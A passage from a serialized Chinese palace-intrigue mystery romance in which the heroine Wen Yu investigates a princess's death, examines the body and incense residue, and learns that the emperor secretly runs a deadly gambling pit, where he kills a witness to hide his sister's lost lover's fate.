此事疑点重重,其一便是圣阳为何叫贺扶过来?是他人的意思还是圣阳真的有事要告诉贺扶?难道是她那晚看到了什么?
会是什么呢?
温余左看右看,竟是寻不到半点可疑的东西。最后,她将目光放在了桌上的香炉上。
她走上前揭开香炉的盖子,里面是已经烧完只剩粉末的香料,她捻起一些闻了闻,双眼一亮。
果真和那香囊中的味道一样,而且看着香炉内的粉末,竟是要比寻常香炉中放得要多。
为了验证宋衫的话,昨夜温余还特地将那香料拿出来仔细看了看,这东西虽说是香料但很多的却是药,以药入香,确实能更有安神的功效,可是药的缺点就在于用得多了,会让人四肢发软,行动迟缓。
若是长时间待在这样熏香的环境下,就算是战场上的名将也难以与旁人过招,更别说是受了重伤的圣阳了。
温余捻起一点粉末拿油纸包着揣进怀里,随后又在屋中看了看,见什么事异常后便离开了。
关上门后,温余忽然在屋外的枯树下发现一切不对劲。
那树应该许久都没有人浇水了,早就已经坏死了。竟没有人来将这的东西给移走?
温余蹲下身,见这树根边的土都干燥了。
而已经结块的土层下,竟是有一些鼓起。
她心想这底下有东西,伸手去将那土刨开,只见一个白玉盒子正静静地躺在土中。
她捡起盒子,正要打开却瞥到墙角有一个熟悉的身影。
“葛巾!”温余立刻站起身,而在墙角的葛巾发现温余看到自己后转身就走。
温余也顾不上什么东西,直接将那盒子往自己怀里一塞,就跑去追葛巾。
一路追到安成王府的后花园,离葛巾只有几步远,温余又道:“葛巾,你站住!”
这次,葛巾站住了,她转头看向温余,但只对视了一瞬便收回了视线,她冷冷问:“我们之间已经没有关系了,你不用来问我什么,就算是反悔了想要让我付出代价,你也不必费力了。”
温余又上前了几步,见葛巾随之后退便停住了步子。
“我只是很惊讶,你为什么会出现在这里,而且,你这些日子去哪儿了?可是安全?”
葛巾眸光微动,半晌才道:“我的事情你不用关心,我自然会有办法。”
“你没事就好,那我就先走了。”
温余确认了葛巾的安全后转身要走,却又被她叫住,“等等!”
温余回头问:“还有什么事情吗?”
葛巾犹豫片刻后道:“你先跟我来,这里不适合说话。”
温余跟着葛巾来到廊下,透过葫芦窗还能看到另一侧茂密的林子。
“你……”葛巾欲言又止,“你要嫁给嘉亲王?”
温余点头,“是,我想救贺大人。”
“你就这么直接告诉我了?你也这样告诉别人吗?”葛巾扶额,似乎很是担心。
“没有,除过尚卿,我只告诉了你一个。”温余如实道。
“为什么?”葛巾不知道,分明自己已经背叛他们了,分明自己已经站在他们的对立面了,她怎么还能如此不设防的告诉自己她的打算?
就这么信任她?相信她不会说出去?
“因为我相信你,那日你会带纸条过来,不就是因为……”
葛巾打断了她的话,“那是贺扶让我给你的,我只是还他一个人情,我没有要帮你们的意思。”
“那你叫我过来又是因为什么……?”温余凑近了些,像是之前在绍王府那般。
葛巾也下意识地想像之前一般伸手去推,却在半路停住,“我还是想告诉你,这件事不止你看到的这样,王孙贵族之间的争斗向来都是要掉脑袋的。”
“那我就更要查了!我要救贺大人,我不能让他出事!”温余坚定道。
葛巾还是不理解,“为什么?因为你喜欢他?你就能让自己进入险境?”
“不仅如此,我还要还圣阳一个公道。”
圣阳……?
葛巾顿了顿,问道:“你何时与她的关系这般好了?”
“我很佩服她的,从见到她第一眼起就觉得她很厉害,英姿飒爽,像一名威风凛凛的女将。可是她却对我有敌意,好不容易在崇安消除了隔阂,我们还约定回来后她教我练枪,没想到会变成这样。”温余似是恳求,“所以,我要帮她,也要帮贺大人,你能不能告诉我,为什么?”
“什么为什么?”葛巾淡淡道。
“为什么你要帮首辅大人,还有首辅大人为什么要杀贺大人?”
“因为首辅大人是这世上唯一一个知晓的秘密的人,他与其他人都不一样。至于他为什么要杀贺扶……我无可奉告。”
说完,葛巾转身要走,温余本想拉住她,却见她自己停了下来。
只见不远处站着一个粉衣裳的小宫女,正看着两人。
“这是……”温余懵道。
那小宫女走上前来,对葛巾行礼:“姑娘,殿下唤您过去。”
葛巾点了点头;“好,走吧。”
“对了,还有这位姑娘,殿下让她也一起过去。”
葛巾皱眉,在温余疑惑的脸上扫了一眼后问:“为什么?她是皇后身边的人。”
“小的不知,请吧。”
小宫女做出一个请的动作,葛巾只是看了看后便对温余道:“少说话,那人你惹不起。”
温余疑惑,那人是谁?惹不起,会是皇室之人吗?
但跟着那小宫女来到侧堂的时候,温余第一眼见到的竟是一个熟悉的身影。
“我就说嘛,那女人整天咋咋呼呼的肯定得罪了不少人,现在好了死了吧?活该!”<
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温余记得,这是那日在青楼前闹事的人,也是圣阳的姑父。
看到温余后,他眯起眼看了一会儿,温余觉得这眼神不善,便下意识地向后躲了躲。
“姑娘,殿下让您先进去。”小宫女通报完后对葛巾恭敬道。
葛巾点了点头,对温余叮嘱一声小心后跟着小宫女走了进去。
葛巾走了,那男人看向温余的目光越发大胆起来,温余锁眉。
“你是……大理寺的人?”男人站起身来,丢下手里的银壶,向温余走了过来。
温余觉得多一事不如少一事,点了点头,“之前是。”
“贺扶身边的人?”男人满是横肉的脸上是有些令人恶心的酡红。
步步紧逼地动作让温余起了一身恶寒。
“之前是。”她继续道。
男人啧了两声,“现在贺扶已经杀了人被关起来了,不出意外就要死了。那你呢?你打算去哪儿?”
温余还没回话,那男人就伸手抓住了她的肩膀,满嘴的酒气让温余直犯恶心。
“驸马自重。”
“自重?”男人嘿嘿笑着,“这都是场面话!现在你背后的靠山没了,要不……来靠我?”
“你相信我,我的那些个小情人一个个的都被养得很好!里面那个母老虎不会说什么的!她自己也有很多男宠,所以,你就……”
男人手刚要抱上温余,温余啪地一声给了他一巴掌。
“你……你做什么?大胆!”男人捂着脸,酒似乎醒了一些。
“让您醒醒酒。”温余道。
男人大叫道:“你敢打我?你知不知道我是谁?我可是当今圣上的姐夫!你有几个脑袋敢打我?”
温余接道:“一个,但你对我动手动脚,我为什么不敢打你?”
“这里可一个人都没有,我就算把你杀了你也没地方说。”男人眯起眼,威胁道,“你最好小心说话。”
温余四下看了看,果真没有人。
周围的宫人应该都去服侍屋内的长公主了。
“所以你就……啊!!”
男人大叫一声,腾空过后便噗通一声掉进了水里。
溅起的水花竟是比旁人大得多,还有些水珠溅到了温余脸上,温余随意擦去。
听男人大叫:“来人啊来人啊!把这个贱婢给我拖下去,杀了喂狗!!”
温余叉腰居高临下地看着男人在水里扑腾,像个滑稽的□□。
“你不是说没人吗?与其大喊大叫不如省省力气看看能不能自己爬上来!”
“贱婢!!”
男人又骂了几句不堪入耳的话,忽然眼中又闪出希冀,冲温余身后喊道:“救救我!你救救我!”
“这个贱婢敢推我下水!杀了她!”
温余感到身后来人,转头只见一名衣着华贵美艳的女子,让人不忍逼视。
葛巾正跟着她身后。
她就是长公主?!
温余一惊,那自己推了她的丈夫下水……
而长公主竟只是淡淡地看了男人一眼。
“她敢推我就是不把你放在眼里!你快杀了她!”
长公主扫了温余一眼,对男人道:“你还没到能代表我的地步。打狗得看主人没错,可你连狗都不算。”
那眼神高贵又霸道,还带着看尸体的淡然。
温余心中惊叹,这长公主果真霸气!
82. 丧礼(三)
“你……你这个……”
男人话还没说完,长公主横眉看他一眼,他便闭了嘴不敢再说话。
“你在这里看着他,等他快死了,捞他上来。”
长公主给小宫女留下一句话后对温余道:“你跟我过来。”
看长公主潇洒离开的背影,男人慌了,他喊道:“你这是谋杀亲夫!你……你这个毒妇……啊!”
一块石头砸下,他的喊声瞬间变了调子,原来是那小宫女听不下去,直接捡起一块石头往他头上一丢。
温余只是悄悄看了几眼,便跟上了长公主的步子。
进入室内,温余感到一丝暖意,还只是深秋,地龙便燃得滚烫,难道这长公主也是畏寒?
温余狐疑地四下看了看,长公主已经坐上了高位,她居高临下看着温余,眼中满是好奇与打量。
她道:“你就是温余?”
“是。”
长公主身体前倾,是审问的模样,“你来宫中是要做什么?帮贺扶翻案?”
温余看了葛巾一眼,看样子葛巾这些日子是跟在长公主身边的,虽然不知道她二人是如何认识的,但至少葛巾安全。
长公主知道这些许是葛巾告诉她的,自己便也不必隐瞒了。
“是。”温余回道。
“你要查圣阳的死因?是吗?”长公主目光灼灼。
温余点了点头。
闻言,长公主身子放松了些,向后靠了靠,靠在软垫上。
“你知道我与圣阳的关系吧?圣阳是我的侄女,我自然是最为疼爱的。如今她不明不白的死了,我自然要一个结果。但碍于身份,我不好出面,你既然要查,那你就得好好查,最好将幕后凶手揪出来,明白吗?”
温余惊喜道:“您相信贺大人不是凶手?”
长公主笑一声,“我不是相信谁,而是不信这宫中的人。”
“葛巾。”
葛巾一点头,走到温余面前将一块玉牌递给她。
温余接过有些疑惑:“这是什么?”
长公主解释道:“这是宫中的通行令牌,你拿着方便你四处走动。但唯一的要求是,你若是被抓了,不许透露出我的半点信息,明白?”
温余大喜,她本还犯难如何能在宫中其他地方行走,没想到运气竟这般好,遇上了长公主。
“明白,多谢长公主。”
“好了,你可以走了。”
温余走出院子。她本还疑惑长公主为何外出不带侍卫宫人,如今一想,原是早有打算,不过也好,算得上遇到了贵人,可以放心些了。
她拿着玉牌看了看,心想不知这东西能不能进入天牢,能不能去看看贺扶。
也不知道贺扶如今怎么样了……
但她还未走回灵堂半路便被一个咋咋呼呼的宫女截住。
看她的服饰,应该是尚熙身边的。
“喂,你是哪里来的?鬼鬼祟祟……”
温余不由感叹,不愧是尚熙手底下的人,就连说话语气都是一样的趾高气扬。
“我是嘉亲王府上的人。”温余答道。
那宫女秀眉一竖,细声细气地道:“什么嘉亲王府?我看你就是个贼!”
“我不是贼!”温余道。
宫女指着她怀中鼓起的一块,“还说不是贼?那你怀里是什么?竟敢在宫中偷东西?你看我不把你给带到六公主面前去!”
说着,她就要上前来拉扯温余,温余伸手挡了挡,没有想要伤她的意思,但这一动却是惹恼了她,她嘿一声,“你可知我是谁?我可是六公主最为信任的!你竟敢打我?”
温余觉得不可理喻,“谁打你了?是你自己要上来扯我的!”
“我要做什么还轮得着你来指点?我今天就让你学学什么是规矩体统!”
那宫女张牙舞爪地就要冲上来,温余也不甘落人下风,迎上去就和她扭打在一起。
不过片刻,温余便钳制住了她的手,听她诶呦哎呦地叫,温余放松了些力道:“现在能听我解释了吧?”
“你……可恶!”宫女几乎咬牙切齿,“你信不信我告诉六公主,让你从这宫里滚出去!”
温余道:“没有这个可能。”
“你……!”
“你们在做什么?”
远处一袭素白身影缓缓走近,是宋衫,她身后还跟着一位满身玛瑙珠宝的卷发男子。
宋衫的身量并不矮,但那男人竟是要比她高上一个头,温余目测他甚至要比门框高一些。
温余放开手,对宋衫道:“她污蔑我偷了东西,还要上来打我,所以我才动手的。”
宋衫冷冷看向那宫女,她头低得像只鹌鹑一般。
“是吗?”
宫女轻轻点头:“是。”
“道歉。”宋衫道。
宫女也知道宋衫和尚熙的关系,自然不敢忤逆她,只能发着抖对温余道:“抱歉,是我太过武断,伤到了小姐。”
温余也不想多纠缠,道:“下次注意。”
说罢,宫女逃也似地转身就跑。此时便只剩下三人站在原地。
温余好奇的偷瞄了那男子几眼,那男子发现后露出洁白的牙齿对温余一笑。
温余吞了吞口水,“这位是?”
宋衫对男子轻柔一笑后才对温余解释道:“这位从且末来的朋友,他叫羌白。”
“羌白?”温余小心翼翼地叫了一声。
看样子他是一个很好相处的人,他操着不流利的汉话向温余问好:“不知姑娘何名?”
“我叫温余。”温余介绍道。
“温余……?很好的名字。”羌白应该不太认识汉字,没想到竟然还能说出这样的话来。
温余还疑惑着,宋衫便笑道:“确实。”
温余顿时觉得宋衫对这男子的态度不太对劲,似乎要格外熟稔,但眼神中却没有任何情意,像是……刻意接近?
“对了,那东西是你的吧?”宋衫指了指地上闪着光的东西。
——是那天从赌场带回来的银锁。
温余立刻上前拾起,拍了拍上面的土,道:“多谢。”
羌白疑惑一声。
宋衫转头:“怎么了?”
羌白指着温余手中的银锁,“这锁上的花纹很熟悉。温姑娘也认识且末的朋友吗?”
温余握了握手中的锁,想起那日自己在赌局看到的且末人,一时有些心虚,“这是我捡的。”
应该也算是捡到的吧……?
羌白点头很是容易的相信了温余的话,“这上面的花纹很用心,这位父亲应该很喜欢自己的孩子。”
温余忽然觉得手心
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有些发烫,不知这锁的主人是爱子心切的父亲还是一位还幼小的孩童,不管是哪一个,都让她觉得难过。
那地方实在是太残忍了。
“且末送东西都是这样华贵的吗?”宋衫问道。
“我们很喜欢色彩鲜艳的东西,好看。”羌白断断续续道。
“那你也喜欢吗?”
“喜欢。”
见两人聊得开心,温余也不想留在这里打扰他们,说了告辞后就转身离开了。
回到灵堂后,温余便待在皇后身边一直等到夜里。
夜中,除过守灵的安成王外便只有自小侍奉在圣阳身边的下人们还待着堂中。
温余站在院子里看着堂内的情况。
如今想查清杀害圣阳的凶手,最主要的就是要明白她的死因,她究竟是死于他们所说的刀伤还是死于其他原因,这就得从尸体上下手了。
圣阳的尸体留在刑部,看来是要去刑部走一趟了。
温余握紧了手中的玉牌,还好。
趁着夜色,温余穿过重重宫墙来到刑部,因为圣阳的案子刑部中人近些日子都是焦头烂额的,这不仅涉及朝廷命官杀人,还涉及皇室,着实是难办得很!
但出乎温余意料的,进入刑部来到停尸房的路竟是这般顺畅,就像是有人帮她清理了障碍一般。
难道是长公主知道自己要来这里所以提前帮忙?
虽然温余的第一想法是这样,但还是带了些警惕。若是章执想来个钓鱼执法,那可就完了。
一路小心翼翼地摸进停尸房,见没有什么异常后温余小小的松了口气。
她走到圣阳身边,掀开盖在她身上的白布,入眼便是一张毫无生气的脸。
曾几何时,这张脸还趾高气扬的看着自己,如今却躺在这里,没有半点生气。
温余盯着圣阳看了很久很久,最后竟只能叹一声。
“阿钰,好久不见啊。”
这是征得圣阳同意后第一次这样叫她,可她却听不到了。
温余深吸一口气,事到如今悲伤是最没有用的东西,她得查出凶手,这样也能让圣阳安心。
一番检查后,温余发现圣阳身上很多地方都有弯刀留下的伤痕,而致命的刀伤要比那些刀痕要短得多,确实是那把葛巾的短刀所为。
而且她的鼻腔里确实有那日在她屋中发现的粉末。
这样一来,宋衫的提醒就没有问题了。
温余直起身子,面色凝重——安成王府中,有内应。
那会是谁呢?
正当温余打算盖上白布离开时,她忽然发现圣阳手腕上竟有一条淡淡的勒痕,是淡粉色的一道,颜色之浅竟是让温余方才都没注意到。
温余仔细看了看,这是很平顺的痕迹,不似寻常麻绳之类的,倒像是很珍贵的丝绸所留下的。
又联想之前说歌阳侯府中人发现了圣阳,温余有了一个猜测。
若是歌阳侯府的人与黑衣人勾结,在圣阳被重伤无法行动的时候将圣阳绑走带回府中,然后和安成王谎称圣阳受了伤,这也说得通。
如此一来,宋衫为什么会知道这件事那就很正常了。
那她为什么要提醒自己呢?若真是歌阳侯府的人所为,那她也跑不了。
还是说,歌阳侯府的背后还会有别人呢?
83. 银锁(一)
今夜的风格外喧嚣,温余检查过圣阳的尸体后走在回安成王府的路上。
来也无人,去也无人。难道真的是长公主帮忙打点过了?
温余还是觉得奇怪,不仅仅是因为今天的事情而奇怪,而是这些天奇怪的事情太多了。
自从来到宫中,她便越来越觉得自己的一举一动都在别人的监视、安排之下。
在她遇到的这些人里,唯一让她没有那么迷惑的竟然只有尚熙一个……
被从小宠爱长大的小公主行事都是随着自己的心意,喜乐也都摆在脸上,也是好懂得很。
与之相反的,自从一见面就温温柔柔的宋衫却是怀了很多谜团。她为什么要帮自己?她和背后的凶手究竟有没有关系?
她是看不得旁人作恶,还是另有打算?
温余长长地舒了一口气,月下一个人走在路上竟是显得格外孤独。上一次在在宫中漫步似乎还是和贺扶在一起。
也不知道贺扶怎么样了……
温余停了下来,抬眼看看天上的月亮,一时无言。
不知是不是天意,她方才还在想宋衫下一瞬便在不远处看到了宋衫,以及白日那位且末的羌白。
温余躲在草丛中,悄悄往那边看去。
宋衫分明是一个很识礼数的人,怎么会深夜和外男在此处幽会呢?温余又将自己往草丛里藏了藏,静静听着两人的交谈。
“虽说月是故乡明,但左晋的月也有一番滋味,不知小公子可喜欢?”
“确实,且末的月很清晰,天很辽阔,左晋的月,有些……模糊?”
“左晋人最是含蓄的。”宋衫莞尔,“小公子还未回答,喜欢与否?”
“当然喜欢。”羌白似乎没有听出宋衫的言外之意,只是看着月亮回答。
宋衫的笑似乎僵了一瞬,但很快她又道:“听闻且末的姑娘最是自由奔放,就连面对心上人也能大方说出心意。”
羌白重重点头:“没错!”
“我们左晋的女子想向心上人表明心意却不似且末姑娘这般直接,大多是寄托于物,比方说……月亮之类的。”
宋衫的话虽然说得委婉,但若是换个细腻些的人定也是能听懂的,可惜对上了木头似的羌白,他似懂非懂地点点头。
“原来如此。”
“……”宋衫见他还没有反应,沉默了半晌后,“那,小公子可有心上人?”
羌白果断摇头:“我没有,我喜欢马。”
“马……?”宋衫整个脸都僵住了。
在一旁偷看的温余只觉得这简直是媚眼抛给了瞎子看。
“那你喜欢什么样的姑娘?”宋衫更直接了。
羌白也直接:“不喜欢姑娘,喜欢马。”
宋衫的脸上彻底挂不住了,只能干干笑两声后,告辞:“既如此,我也有些累了,那我便先告辞了。”
宋衫转身离去,羌白也没有挽留。
温余见她走了,便打算站起身离开,没想到刚一露头便有人在背后按住了她。
“谁?!”温余回头,对上一张脏兮兮的脸。
“启蛰?你怎么过来了?”温余惊道。
启蛰头上满是叶子,脸也被泥土染得脏兮兮的,从前那副白净小公子的模样竟是完全见不到了。
“那个女子,和大人的案子有关系?”启蛰低声问。
“她应该知道些什么。”温余道。
启蛰一下子拔剑,“那我去把她给截过来,问清楚!”
温余伸手按住:“别冲动,这是宫中。”
启蛰像是一头蓄势待发的狼崽,“可是我们得救大人!”
温余用了大力才将他按住,“我们要先找到杀害圣阳的凶手。背后之人一天找不到我们便一天无法安心。你相信我,我可以的。”
启蛰停了挣扎的动作,“那你一个人在这里会不会有事啊?有人害你怎么办?有人杀你怎么办?”
温余伸手在他胸膛上拍了一掌,“你能不能盼我点儿好?你就放心吧,我可以的。”
“那你一定要找到凶手,我就把希望全放在你身上了。”启蛰认真道,“但,你也注意自己,别被什么人给灭口了。”
“好了好了,我知道你担心我,我没事的。”温余拍拍启蛰的肩膀。
果然,启蛰在,她心情都会放松很多。
“谁担心你了!对了,你可不许真的嫁给尚卿啊,那人可讨厌了!你查出凶手就快些回来,不许食言。”
温余点着头,“好好好,保证回去。好了好了,你快些出去吧,被侍卫抓到就不好了。”
启蛰恋恋不舍地离去。
温余站起身来眼前一黑,双腿发软正要往后倒却被一只手给接住。
等眼前黑雾散去,温余对上一张带着疑惑的脸。
“你为什么躲在这里?”羌白一脸狐疑。
温余干笑几声,“赏……赏月……”
“为什么要这么赏月?是左晋的特点吗?”羌白问得认真。
温余硬着头皮道:“是,这样赏月……更清楚,更有感觉。”
“是这样吗?”羌白站了一会儿后十分果断的蹲下,抬头去看月亮。
“很奇怪的姿势。”
看了一会儿后,羌白得出结论。
温余扶额。
“你不看了吗?”羌白眼巴巴看向温余。
温余放下手,“看,一起看。”
下一瞬她蹲在羌白身边,和她一起看月亮。
如果旁边有人看到这一幕,一定会觉得是两人傻子。
作为“傻子”之一的温余,不是很想承认。
“那个……”温余觉得气氛极其尴尬,想找点话题,但羌白先一步开口。
“你知道左晋有一位美人吗?”
“美人?左晋美人极多,你是说哪一个?”温余疑惑道。
怎么突然又问起美人来了?
羌白想了想,“是一位极其明艳的美人,听人说她眉眼张扬,一笑惑人,华光溢彩,如同古老传说中的女神一般。”
“这描述……是神话吧?”温余道。
羌白却摇头:“是真的,她就在左晋。”
“就在左晋?”温余挠挠头,“那是谁告诉你的?”
“一位画师,他听闻左晋有一位美人,慕名前来,但之后就未曾回来过。我想再见他一眼,想他应该在那位美人身边。”
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>听羌白这么说,温余忽得想起葛巾来。
那夜的那位姑娘不是说葛巾的父亲就是一位且末来的画师吗?
“你对左晋很熟悉,你能帮我找找吗?”羌白真诚地看着温余,温余也不好意思拒绝,便道:“好啊,我帮你。”
“谢谢你,我会报答你的。”羌白笑着道谢。
“天色不早了,我就先回去了,你还要赏月吗?”温余站起身来。
羌白点点头,继续蹲着,高大的男人此刻缩成一个小点,滑稽又可爱。
温余不禁笑了笑,转身离开。
……
次日一早,温余便拿着玉牌去了长公主府上,一进门便拉过葛巾。
“你做什么?虽然我对你没有恶意,但还是没有到这么熟悉的程度。”葛巾轻轻拂开温余的手。
温余又一次拉住她的胳膊,认真道:“我有很重要的事情!”
“什么事情?你找到凶手了?”葛巾皱眉问。
温余语速慢了下来,“倒不是这个……我是想问,你知不知道你的父亲是谁?”
葛巾的神色变了变,“你问这个做什么?”
“就是好奇……”温余道。
“是谁跟你说了什么吗?”葛巾十分谨慎。
“也不是,就是之前听人说你的父亲是一位从且末来的画师。近些日子我又认识了一位新朋友,他是且末人,他说有一位画师朋友来到了左晋,但是没有了消息,想要找回他,所以我才来问你。他说的那位朋友会不会是你的……父亲?”温余如实相告。
葛巾沉默了半晌后才道:“一个不要脸的负心汉,竟然还有朋友前来找他?”
“负心汉?”温余有些惊讶。
她听羌白所说,这应该是一件男欢女爱的美谈,怎么葛巾却又说那男人是一个负心汉?
“始乱终弃的负心汉。”葛巾愤愤道。
“那你的母亲呢?”温余小心问道。
葛巾看了温余一眼,“这个你不需要知道。”
见葛巾要走,温余叫住她,从怀中拿出那个银锁,“那你知道这是什么吗?”
葛巾看到银锁后愣了一愣,“这是……你从哪里找到的?”
“我……捡的。”温余道。
葛巾拿过那银锁摩擦了几下,“我似乎在哪里见到过这个……”
她在那锁上看了很久,最终在角落发现一行小小的且末字:古兰朵。
见葛巾愣住,温余走上前去看她:“你怎么了?”
“这东西是你在哪里捡到的?”葛巾很是激动,温余从未见过她情绪这般外放过。
“是在……”
但还没等温余说出来,葛巾就扯着温余的袖子将她往长公主的寝殿内带。
等到了殿内,葛巾关上门,便只有温余葛巾和长公主三人。
“来找我?什么事?”长公主看着文书,见葛巾带着温余前来只是微微抬起眼帘扫了一眼。
“殿下,我是来给您看这个的。”
葛巾将那银锁递给长公主,她的瞳孔肉眼可见的放大。
“这是……”
长公主瞬间丢下文书站起身来,看向温余的眼中带了些提防。
84. 银锁(二)
温余道:“这是我在一个赌场发现的。”
“赌场?那个且末人的赌场?”
温余大惊,长公主居然知道那里?
长公主整理了情绪坐下,将那银锁握在手心,似是火焰般灼热。
“是,想必长公主也应该知道那赌场里的情况,如此一来,想必这锁的主人应当也是生死难料,不知长公主可知道什么关于这锁的事情?”温余道。
长公主似是震惊又似悲伤,用手捂住额头,轻声道:“这锁是他的。”
“他……是谁?葛巾的父亲吗?”温余忽然联想起来,转眼看向葛巾,葛巾却躲开她的目光,看向长公主。
长公主忽的站起身,身边的葛巾立刻走上前去扶住她。那般高高在上的美人即使是如此疲惫的神态也不掩其端方。
“走。”
她简单一句,葛巾疑惑道:“去哪儿?”
“赌场,备车马。”长公主缓了缓后走下高台,走到温余身边时对她道,“你也走,告诉我这银锁是在哪里捡到的!”
温余稀里糊涂地被长公主带回那个让她夜夜梦魇的地方。
但这一次竟是一个人都没有,就连上次神采奕奕的那位灰衣男子也都毕恭毕敬地站在一旁。
“就是在这里挖到的。”温余指了指那个沙堆。
长公主的身体晃了晃,她看向灰衣男子,“这个银锁的主人,你可还记得?”
灰衣男子似是恐惧,不敢点头也不敢摇头。
“你知道,说!”长公主厉声道。
灰衣男子周身一颤,“小的,小的不敢说啊!”
“有什么不敢的?谁能吃了你不是?”长公主呵道。
灰衣男子颤抖地跪倒在地上,“小的,小的见过,见过的。”
“他在哪儿?”长公主眼中似有泪水。
“他……他死了,就是在这场子里……死的。”灰衣男子颤颤巍巍地指向那铁栏围起的场子。
长公主深吸一口气后缓缓蹲下,搬起男子的下巴让他直视自己,她道:“他为什么会在这里?”
“小的小的……小的不知道啊,小的真的不知道啊……”灰衣男子几乎是要被吓得哭出来
长公主握着他下巴的手紧了紧,似乎只要再用一些力气就能将他的下巴捏碎,“你说,你究竟知不知道?若是说了,饶你不死。”
灰衣男子这次是真的哭出来了,他目睹了那么多人的死亡,甚至还无数次为那些人的死亡喝彩,而自己面对死亡时竟也这般恐惧。
“小的……”
灰衣男子似是要说,但还没开口便听门外走来一人,声音威严而有力,“他不知道,你也不应该知道。”
那人逆着光而来,肩膀宽阔,步伐有力,身边只跟着一人,但也不掩盖起威严庄重。走近,他对长公主道:“阿姐。”
长公主站起身,看了皇帝好半晌才笑道,“果真是你……”
“阿姐,你应该知道朕是为了你好。”皇帝负手站着,在场所有人无一不俯首。
“你骗我?你骗我你说是为了我好?!”长公主几近崩溃,“你说,你说他是个负心汉,你说他丢下我和孩子走了,我恨了他多久?葛巾现在多大年岁我就恨了他多久!可如今我才知道,我恨错了人!”
“我该恨的,是你,是你这个骗子!是你这个为了自己的利益什么都不顾的骗子!”
“他不能回到且末,你知道的。”皇帝淡淡道。
“他为什么不能回到且末?因为你……你为了稳固你的皇位,你要且末人俯首称臣,所以你就利用他,你就欺骗我!”
一行清泪从她眼中留下,划过那被岁月雕琢过的容颜,终究是抵不过时间,终究是美人迟暮。
“行了,朕本想着瞒你一辈子,如今你既然已经知晓那朕也再没有什么好说的,回去吧,阿姐。”皇帝想要扶起摔在地上的长公主,却被她一把甩开。
“你不想回去?”皇帝忽然看向跪在一旁的葛巾,拔过陈总管腰间的长剑对着葛巾,“那好,你不想回去。那朕就只能把知道这件事的人通通灭口了,反正在这里,也没有人能看得到。”
长公主立刻扑到葛巾面前,用自己的身体保护着她:“不许,你不许杀她!她是我的女儿,我的亲生骨肉,你要杀她,那就先杀了我!”
皇帝很是苦恼的叹了口气,“你是朕的亲姐姐,朕自然舍不得杀你了,她又是朕的亲生侄女,朕自然也舍不得杀她,那就只能……”
温余背上起了一层冷汗。
唰的一声利响后,那灰衣男子双瞳瞪大被钉在了墙上。
皇帝拍了拍手直起腰来,“只能杀了他。阿姐你知道的,皇家颜面大过天,你也不会告诉别人的,是吗?”
长公主抱着葛巾的手紧了紧,缓缓闭上了眼,原本悬在长睫上的泪珠也在此刻流下,“那他的尸体呢?”
皇帝笑了,他知道自己的阿姐已经妥协了。
“许是在什么畜生的肚子里吧,阿姐需要就把那些畜生都开膛破肚?”
长公主轻轻摇了摇头,“不用了,不用了。”
“既如此,那便结束了,陈总管。”
陈总管立刻应声,“陛下。”
“将这尸体送到兽笼里去,然后再找一个新人,替换他的位置。”
说罢,皇帝甩袖离开。
温余这才微微抬起了头,方才的一切块得仿佛是一场梦一样。她都有些反应不过来,那灰衣男子就已经被人拖出去了。
“所以,你们是……”
葛巾对温余摇了摇头,长公主抱着葛巾的手松了些。
“她是我的女儿,这个是他留给我们的……”长公主拿出银锁看了一会儿后伏在葛巾身上哭了起来。
温余站起身,腿有些发麻。
她,好像知道了什么不该知道的事情,皇帝不会杀她灭口吧?像是对那灰衣男子一样?
回宫的路上温余一直在担心,听皇帝的意思,这赌场竟是他在背后操控,老板也是由他安排的。
原本她还疑惑,皇帝为什么要做这样的事情,仔细想想才明白,这宫里总是会有些欺上瞒下的忤逆之辈,却又碍于身份无法处置,这赌场便应运而生。
果真如长公主离开时说的那句话一样:最是无情帝王家。
下了车,葛巾在车下等
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着温余。
“诶?你不去陪长公主吗?”温余疑惑道。
葛巾不是向来要和她划清界限吗?
“我有话对你说。”葛巾淡淡道。
“那好,我们回我的房间。”
温余带着葛巾回到房间内,关上门后为她倒了一杯水,“你要说什么?”
“今天的事,你不能告诉任何人。”葛巾道。
温余点头:“当然,那灰衣男子的下场我也看到了。”
“其实,我很惊讶。”葛巾手指摩擦着杯壁,“我之前一直以为我的父亲真就是一个负心汉。他贪图我母亲的容貌,和我母亲在一起后又抛妻弃子一走了之。但我没有像我母亲一样恨他,就只是觉得……”
半晌,她才想到一个形容词,“哦……”
“哦?”温余歪头看她。
“就是哦。”葛巾点了点头,肯定道,“我觉得没什么大不了的,一个男人而已跑就跑了,他跑就只能说明他没有责任心,可是今日知晓背后的原因后我竟然有些难过。”
温余静静地注视着她,温柔又无害,她知道葛巾现在需要一个可以倾诉的人。
“我有时候看到街上的一家人也会想若是我父母都在身边,我是不是也会像那小孩子一般开心,轻松。但是我不能。儿时被那些孩子叫孤儿的时候我真的很想对他们大喊,我不是,我有父母,我母亲还是一位美人,可是,我不能说出来,我只能静静的,默默的,一个人待着。”
温余握住葛巾放在桌上的手,想将自己手心的暖意传递给她。
“其实,今日长公主知道了真相也是一件好事。”温余轻声道,“她没有辜负,她爱的人也爱着她,只是世事不公,被迫分离。她应该也不会再恨了吧?”
“不会恨,就是一件好事啊!”温余拍拍葛巾的手背,“爱比恨要好嘛!”
葛巾笑了一声,她从未听过这样的话,“你在安慰我,还是在安慰长公主?”
“你啊,因为我知道你很在乎长公主,很在乎你的母亲。长公主也很在乎你,现在你也知道了你的父亲很爱你,你是生活在爱里的。”温余道,“我之前的那位朋友可说了,这银锁定是费了极大的功夫才做成了,这位父亲一定很爱自己的女儿。”
闻言,葛巾拿出那枚银锁,“是啊,古兰朵,我有新名字了。”
“好听,古兰朵。”温余俏皮念了几遍。
“对了,你说的那位朋友可是最近来宫中的羌白?”葛巾收起了笑。
温余点点头,“对啊,你认识?”
“且末四家之一,羌家的小公子,很是贵气。听说过,不过你是怎么和他认识的?”葛巾道。
“他是安乐郡主的朋友,我因为安乐郡主和他认识的。”温余见葛巾的脸色变了变,“怎么了?有什么问题吗?”
“奇怪,歌阳侯可是最恨且末人的,怎么可能会让自己的女儿和且末人做朋友?”葛巾皱眉,“不管怎么样,你一定要小心。这宫里可没有什么纯白良善之人。”
温余重重点头:“我记得了。”
“还有一件事……”葛巾反握住温余的手,认真道,“我要走了。”
85. 银锁(三)
“什么?你要去哪儿?”温余诧异道。
葛巾垂下眼帘,“不知道,但我得走,必须得走。我不能再给母亲受制于人的机会了。”
温余心下了然,皇帝的那番话并非只是玩笑,而是警告,葛巾的存在对他来说本就是一种威胁,他不可能让葛巾安生待在宫中的。唯一的法子就只有让葛巾离开,让所有人都见不到她,这对葛巾来说或许是最好的办法了。
“那我日后还能见到你吗?”温余有些担心。
